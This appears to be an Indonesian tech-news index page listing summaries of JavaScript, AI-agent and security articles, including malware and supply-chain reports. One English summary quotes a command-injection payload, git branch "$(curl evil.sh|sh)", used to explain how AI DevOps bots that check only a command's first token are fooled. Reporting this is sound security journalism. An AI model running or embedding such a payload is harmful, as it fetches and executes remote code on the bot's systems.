GyaanSetu JavaScript

Ekosistem JavaScript dan TypeScript.

100 articlesDeep, practical knowledge

'Pi' dan 'Tardis' Berbasis AI Memungkinkan Shopify Meninggalkan React Native Setelah Enam Tahun

Shopify membangun dua agen AI internal—Pi untuk pemetaan fitur dan Tardis untuk debugging langsung—untuk mengotomatiskan proses penulisan ulang kode, sehingga memungkinkan mereka menghentikan penggunaan stack React Native yang telah dipakai selama enam tahun, sekaligus mendapatkan waktu startup 2 detik lebih cepat, ukuran aplikasi 109 MB lebih kecil, dan jumlah crash yang berkurang sekitar sepuluh kali lipat.

JavaScript 2 minggu yang lalu · 2 min read

Promise.withResolvers pada Node 22 Memangkas Claude Tool Loops hingga Separuh

Dengan mengganti pola `new Promise` yang rumit dengan satu panggilan `Promise.withResolvers()`, pengembang dapat menyerahkan fungsi resolve/reject ke bagian mana pun dalam sistem, sehingga menghilangkan masalah resolve yang terlupakan, peringatan double-reject, dan nesting yang dalam—hal ini sangat berharga dalam lingkungan serverless Lambda.

JavaScript 2 minggu yang lalu · 4 min read

TLS Fingerprinting Memaksa Scraper Playwright Membuang Sumber Daya Komputasi Cloud, Meningkatkan Biaya

Server melakukan hashing pada TLS ClientHello mentah menjadi sidik jari JA3/JA4; ketidakcocokan apa pun dengan User-Agent yang diklaim atau pengaturan HTTP/2 akan menandai permintaan tersebut sebagai hasil skrip. Satu-satunya solusi andal adalah memastikan setiap lapisan permintaan menyajikan profil browser yang konsisten.

JavaScript 2 minggu yang lalu · 4 min read

Pocket-35B milik VIDRAFT Berjalan di CPU Laptop Apa Pun, Mencapai 1 Juta Unduhan

Bobot Pocket-35B berformat GGUF dapat dimuat langsung ke llama.cpp atau Ollama, memungkinkan tim tanpa anggaran GPU untuk menjalankan model dengan 35 miliar parameter pada laptop standar—asalkan memenuhi persyaratan RAM yang minimal.

JavaScript 2 minggu yang lalu · 3 min read

Mengapa Pemutar HTML5 Kustom Anda Crash Saat Casting – 4 Jebakan Tersembunyi

Casting menyerahkan kontrol pemutaran ke firmware TV, sehingga token harus tetap berlaku melampaui sesi, header CORS harus menyertakan origin TV, dan URL stream tidak boleh berupa blob. Panduan ini menunjukkan cara beralih ke URL manifest dan memvalidasi koneksi.

JavaScript 2 minggu yang lalu · 3 min read

Bagaimana Lockfile Teks Bun Mengurangi Risiko Rantai Pasokan melalui Pemindaian Kebijakan CI

Lockfile default baru di Bun v1.2 adalah bun.lock berbasis teks biasa, menggantikan bun.lockb yang bersifat biner. Perubahan ini memungkinkan peninjau melihat pergeseran versi secara tepat, menjalankan pemeriksaan kebijakan di CI, dan melacak penyisipan berbahaya menggunakan alat git standar.

JavaScript 3 minggu yang lalu · 1 min read

Malware JSCeal Mencuri Token OAuth Chrome, Menetralkan MFA Google bagi Trader Kripto

Payload JSCeal yang hanya berjalan di RAM mengekstrak cookie, kata sandi yang tersimpan, dan token OAuth dari browser Chromium, lalu memutar ulang sesi tersebut untuk melewati verifikasi faktor kedua Google, sehingga memungkinkan penyerang mengambil dana dari Binance, Bybit, Ledger, dan lainnya.

JavaScript 3 minggu yang lalu · 2 min read

13 SDK Coinbase Wallet Palsu Membanjiri Registri npm dalam 48 Detik

Paket-paket tersebut, yang diterbitkan antara pukul 04:54:59 dan 04:55:48 UTC pada 7 September 2026, meniru @coinbase/wallet-sdk dengan nama seperti cb-wallet-http dan menggunakan versi 0.0.1-security, yang menunjukkan betapa cepatnya kode berbahaya dapat menyusup ke dalam proyek.

JavaScript 3 minggu yang lalu · 2 min read

ClickFix Membajak Setoran Kripto Langsung dari Browser melalui Tampermonkey

Cisco Talos menemukan ClickFix, sebuah skema skimming kripto yang menipu pengguna untuk menginstal skrip Tampermonkey. Skrip tersebut menulis ulang alamat setoran secara real-time, menyedot dana sementara transaksi tampak sah.

JavaScript 3 minggu yang lalu · 2 min read

Hanya 2 dari 13 Rentang Semver yang Berperilaku Sama di npm, Cargo, Composer, dan pip

Pengujian 13 ekspresi rentang terhadap 19 nomor versi menunjukkan hanya 17 hasil yang cocok, yang sebagian besar merupakan penolakan. Simbol caret, tilde, dan dot-x diinterpretasikan secara berbeda oleh setiap manajer, sehingga menyebabkan ketidakcocokan yang mengejutkan.

JavaScript 3 minggu yang lalu · 2 min read

Model Puller Ollama Memungkinkan Penyerang Tanpa Autentikasi Mengambil Metadata Cloud via SSRF

Bug SSRF masih ditemukan pada Ollama 0.33.2 karena pengunduh model tensor menggunakan klien HTTP terpisah yang melewati mekanisme pengamanan pengalihan (redirect guard) yang ditambahkan untuk CVE-2026-5530, sehingga memungkinkan penyerang mengalihkan proses penarikan ke alamat mana pun yang dapat dijangkau.

JavaScript 4 minggu yang lalu · 3 min read

AI-Driven DevOps Bots Exposed: Prefix Whitelists Let Attackers Run Arbitrary Code

CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.

JavaScript 4 minggu yang lalu · 4 min read

Anthropic Memangkas Biaya Claude Fable 5.1 Sebesar 45% untuk Loop Agen Berulang

Diskon 45% ini berlaku saat prompt sistem dan skema alat yang sama digunakan kembali dalam banyak iterasi, menjadikan Claude Fable 5.1 sangat menarik untuk peninjau kode otonom, bot triase tiket, dan pipeline agen berulang lainnya.

JavaScript bulan lalu · 3 min read

WebFPGA Menghasilkan Inferensi TinyML dalam 4 ms pada 30 mW – Tanpa Data Keluar dari Browser

WebFPGA menggunakan API WebUSB untuk memprogram FPGA Lattice iCE40-UP5K dari JavaScript, memungkinkan inferensi TinyML di bawah 10 ms dengan konsumsi daya hanya beberapa puluh miliwatt dan menjaga semua data tetap berada di perangkat.

JavaScript bulan lalu · 2 min read

Kebocoran Kunci Stripe Memungkinkan Penagihan Ilegal dan Pencurian Data Pelanggan di 669 Vendor

Kunci yang terekspos memungkinkan penyerang membuat tagihan, menarik faktur, dan mencuri data pribadi, yang berisiko menyebabkan chargeback, denda, serta kerusakan reputasi merek. Langkah penanganan segera meliputi pemblokiran dotfiles, rotasi seluruh kunci, dan pemindahan data rahasia ke dalam vault.

JavaScript bulan lalu · 4 min read

LibreOffice 26.8 Meluncurkan Peta Jalan yang Mengutamakan Privasi, Tanpa Panggilan Cloud AI

Rilis terbaru ini menyempurnakan tata letak paragraf untuk skrip kompleks, menambahkan Tampilan Draf yang lebih ringkas, serta meningkatkan konversi ODF-DOCX/XLSX, sementara patch keamanan dan sandboxing makro menjaga dokumen tetap aman secara on-premise.

JavaScript bulan lalu · 2 min read

TypeScript 7 Memangkas Latensi Type-Checking hingga 40% dengan Biner Rust Baru

Mesin berbasis Rust ini berjalan di proses terpisah, memisahkan analisis tipe dari thread UI serta menambahkan caching yang lebih cerdas yang hanya memeriksa ulang file yang berubah, sehingga menghasilkan build inkremental yang lebih responsif.

JavaScript bulan lalu · 2 min read

Vapor Mode Vue 3.6 Tinggalkan Virtual DOM, Tingkatkan Performa Game

Vapor Mode pada Vue 3.6 yang akan datang mengompilasi komponen single-file menjadi panggilan DOM langsung, sehingga menghilangkan langkah diff virtual-DOM. Dalam benchmark game yang melakukan repaint puluhan kali per detik, perubahan ini memangkas waktu render dan memperkecil ukuran bundle, meskipun UI dengan frekuensi rendah tidak merasakan peningkatan yang signifikan.

JavaScript bulan lalu · 4 min read

Anthropic Menghabiskan $165 Ribu untuk Token Claude guna Menulis Ulang Bun dalam Rust dalam 11 Hari

Para insinyur Anthropic menggunakan 64 agen Claude Fable 5 secara paralel untuk menulis ulang basis kode Bun ke dalam Rust selama 11 hari, dengan catatan penggunaan token sebesar $165 ribu, namun biaya sebenarnya kemungkinan akan lebih tinggi setelah memperhitungkan komputasi pasca-penggabungan dan audit keamanan.

JavaScript bulan lalu · 3 min read

Claude Memindahkan Empat Alat Agen ke GA, Menghapus Header Beta bagi Perusahaan

Dengan hilangnya header permintaan khusus beta, perusahaan akhirnya dapat mengatasi hambatan hukum dan keamanan. Mode tindakan batch baru untuk alat penggunaan komputer juga menjanjikan latensi dan penggunaan token yang lebih rendah, meskipun penghematannya perlu diverifikasi.

JavaScript bulan lalu · 3 min read

Next.js 16.3 Membuat Turbopack Stabil, Memangkas Waktu Build 2-5x Lipat untuk Aplikasi Menengah

Rilis ini juga menghadirkan Partial Prerendering yang siap untuk produksi yang dapat memangkas 40-60% Time to Interactive, dukungan TypeScript yang lebih ketat untuk Server Actions, serta middleware berbasis Rust, namun memerlukan Node 20+ dan dapat mengganggu plugin Webpack yang sudah ada.

JavaScript 2 bulan yang lalu · 3 min read

TanStack Table v9 Memangkas Ukuran Bundle menjadi ~5 KB dengan Fitur Opt-In

Versi beta baru ini memungkinkan Anda hanya mengimpor kemampuan grid yang Anda gunakan—melewatkan kode pengurutan sepenuhnya, memperkecil ukuran unduhan menjadi sekitar 5 KB, dan menghindari beban kerja main-thread yang sebelumnya memperlambat skor INP.

JavaScript 2 bulan yang lalu · 2 min read

Meteor 3.5 Mengurangi Penggunaan CPU sebesar 9% dan Melipatgandakan Throughput dengan Beralih ke uWebSockets.js

Meteor 3.5 memperkenalkan transport DDP yang bersifat pluggable yang dapat diganti ke uWebSockets.js melalui variabel lingkungan DDP_TRANSPORT=uws, memberikan throughput hingga 1,6x lebih tinggi, penggunaan CPU 9% lebih rendah, penggunaan RAM 11% lebih hemat, dan jeda GC 26% lebih singkat untuk aplikasi yang berat akan RPC.

JavaScript 2 bulan yang lalu · 2 min read

Menguasai Caching Sisi Server Tingkat Lanjut di Next.js

Menguasai Caching Sisi Server Tingkat Lanjut di Next.js. Menskalakan aplikasi Next.js membutuhkan lebih dari sekadar memilih antara SSR dan SSG. Seiring bertambahnya data Anda, Anda memerlukan caching tingkat lanjut untuk mengurang...

JavaScript 2 bulan yang lalu · 3 min read